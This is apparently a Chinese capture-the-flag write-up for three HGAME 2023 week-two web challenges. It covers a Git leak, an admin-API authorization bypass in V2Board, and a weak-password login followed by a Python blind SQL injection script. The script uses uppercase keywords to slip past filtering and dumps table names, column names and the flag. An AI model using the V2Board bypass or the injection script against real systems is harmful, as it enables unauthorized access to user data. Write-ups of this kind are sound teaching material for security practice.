HGAME2023_WP_WEEK2

Posted 2023-01-21 F12-home

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Git Leakage

Githack一波带走,下载得到flag

v2board

搜索得知V2Board存在越权漏洞，随便注册个账号拿到authorization

访问/api/v1/admin/user/fetch?pageSize=10&current=1

拿到token值，hgame39d580e71705f6abac9a414def74c466

Search Commodity

弱口令爆破得到密码admin123，登录进去是一个搜索框，很明显是sql注入，bp构造一个

search_id=1$select$*2，fuzz一下，发现好多都被过滤为空，这里给出部分

这里发现大写能够绕过过滤，我们写一个盲注脚本

import requests
import string
strs = string.printable
headers = 
    \'Cookie\': \'SESSION=MTY3MzY2MDExM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18adCvaHER65QoUwkQqK1elOtFjUAT9stHSgpZfPrUWik=\'

flag = \'\'
def attack(url):
    global flag
    for i in range(1, 100):
        for j in strs:
            if j == \'%\':
                continue
            tmp = ord(j)
            payload = \'DATABASE()\'
            payload1 = \'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())\'
            payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like(\'5ecret15here\')"
            payload3 = \'SELECT(f14gggg1shere)FROM(5ecret15here)\'
            data = 
                \'search_id\': f"0||((ascii(substr((payload3),i,1)))like(tmp))"
            
            r = requests.post(url, data=data, headers=headers)
            if \'hard disk\' in r.text:
                flag += j
                print(flag)
                break
        if flag.endswith(\'\'):
            break
if __name__ == \'__main__\':
    url = \'http://week-2.hgame.lwsec.cn:32034/search\'
    attack(url)